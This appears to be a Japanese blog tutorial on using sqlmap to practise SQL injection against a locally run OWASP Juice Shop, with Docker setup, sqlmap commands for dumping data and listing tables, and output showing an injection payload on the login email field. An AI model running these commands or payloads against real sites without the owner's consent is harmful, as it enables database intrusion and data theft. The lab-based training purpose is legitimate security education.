sqlmapを用いてSQLインジェクションを体験する
DjangoCongressJP 2023で以下のトークを聞いて、久しぶりにセキュリティ熱が出てきたことから、SQLインジェクションについて調べていたところ、sqlmapというツールを見つけました。
sqlmapはオープンソースのSQLインジェクションに特化している侵入テストツールです。
今回は脆弱性を抱えるWebアプリケーションを構築して、そちらに対してsqlmapを使ってSQLインジェクションを体験してみます。
※ 今回はSQLインジェクションの学習のためのものであり、自分が管理するシステム以外に対しては決して実行しないでください。 サイト所有者の合意無しにsqlmapを使ってペネトレーションテストをすることは止めてください。
sqlmapに対応しているDBは以下になります。メジャなーRDSであれば抑えられています。
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
OWASP Juice Shop
Juice Shopという脆弱性をあえて抱えたWebアプリケーションのツールがあります。Dockerイメージとしても公開されており、簡単にローカル上に構築が可能になります。
今回はsqlmapを試すために、ローカルに構築したJuice Shopを対象とします。
インストール方法としては以下になります。事前にDockerの環境をインストールしていることを前提とします。
以下のコマンドで3000番ポートにjuice-shopが構築されます。
$ docker pull bkimminich/juice-shop
$ docker run --rm -p 3000:3000 bkimminich/juice-shop
上記のようにDockerコマンド単体でも構築ができますが、docker-composeで構築したい事情があったため、docker-composeを用いて、juice-shopをローカルに構築してみます。
version: "3"
services:
juice-shop:
image: bkimminich/juice-shop
restart: always
ports:
- 3000:3000
以下のコマンドでローカルにjuice-shopのコンテナが立ち上がるはずです。
$ docker-compose up -d
今回は、Juice Shopに対しては深掘りしません。詳細を知りたい方は以下の記事を見てみてください。
sqlmapの導入
次にsqlmapを導入します。以下のコマンドでgit cloneすることでダウンロードができます。
$ git clone https://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap
$ python sqlmap.py --version
sqlmapの使い方
-uはターゲットURLです。コマンドのオプションの詳細に関しては以下に載っています。
# GETメソッドの場合の例
$ python sqlmap.py -u "http://localhost:3000/rest/user/login?ID=1&PWD=2"
# POSTメソッドの場合の例
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2"
--dumpのオプションを指定することで、は解析結果を出力することもできます。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2" --dump
Juice Shopに対してSQLインジェクションを試す
Juice Shopのログイン時に/rest/user/loginに対してPOSTリクエストを送っており、リクエストボディには以下を送っています。
{
"email":"user@example.com",
"password":"test"
}
ローカルでjuice shopが動作するhttp://localhost:3000/rest/user/loginに対して、SQLインジェクションのペイロードを送ってみます。
コマンドは以下になります。--dbms=sqliteは指定しなくても動作します。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data="email=user@example.com&password=test" --ignore-code=401 --dbms=sqlite
実行結果としては以下のようになります。emailパラメーターにboolean-basedのブラインドSQLインジェクションの脆弱性があることを検知されています。
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:29:06 /2023-10-22/
[15:29:06] [INFO] resuming back-end DBMS 'sqlite'
[15:29:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: email=user@example.com' OR NOT 7747=7747-- ANWq&password=test
---
[15:29:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:29:06] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times
[15:29:06] [INFO] fetched data logged to text files under '/Users/hogehoge/.local/share/sqlmap/output/localhost'
[*] ending @ 15:29:06 /2023-10-22/
ペイロードとしては、emailパラメーターにuser@example.com' OR NOT 7747=7747-- ANWqを指定しています。
以下のオプションを指定するのも便利です。
-
--banner: サイトが使用しているDBMSとバージョンを探る -
--random-agent: User-Agent をランダムで生成します。 -
--batch: 対話型オプションを全てデフォルトで進める。実行途中に何度かオプションを聞かれるため、--batchを付けることで入力を省略します。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2" --banner --random-agent --batch
テーブルの一覧を取得
sqlmapの機能としては、--tablesを指定することでテーブルの一覧を取得することもできます。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data="email=user@example.com&password=test" --ignore-code=401 --dbms=sqlite --tables
<current>
[20 tables]
+-------------------+
| Addresses |
| BasketItems |
| Baskets |
| Captchas |
| Cards |
| Challenges |
| Complaints |
| Deliveries |
| Feedbacks |
| ImageCaptchas |
| Memories |
| PrivacyRequests |
| Products |
| Quantities |
| Recycles |
| SecurityAnswers |
| SecurityQuestions |
| Users |
| Wallets |
| sqlite_sequence |
+-------------------+
レベルとリスクの指定
sqlmapで実行するレベルとリスクをカスタマイズすることができます。
--level
レベルは5段階で、デフォルトは1です。
レベルを上げるほど多数のペイロードどプレフィックス/サフィックスの組み合わせが試され、追加していきます。
- レベル2 : Cookie
- レベル3 : User-Agent
とReferer`
--risk
リスクは3段階で、デフォルトは1です。
攻撃値の網羅性レベルのパラメーターです。
- レベル2 :
time-base SQL インジェクション - レベル3 :
OR-base SQL インジェクション
まとめ
今回はSQLインジェクションの勉強のために、sqlmapを使用してみました。オプションもかなり豊富にあるため、全ては紹介しきれませんでしたが、オプション次第でいろんなSQLインジェクションのペネとレーションテストを試すことができます。
冒頭でも述べましたが、自分が管理するシステム以外に対しては決して実行しないでください。
Discussion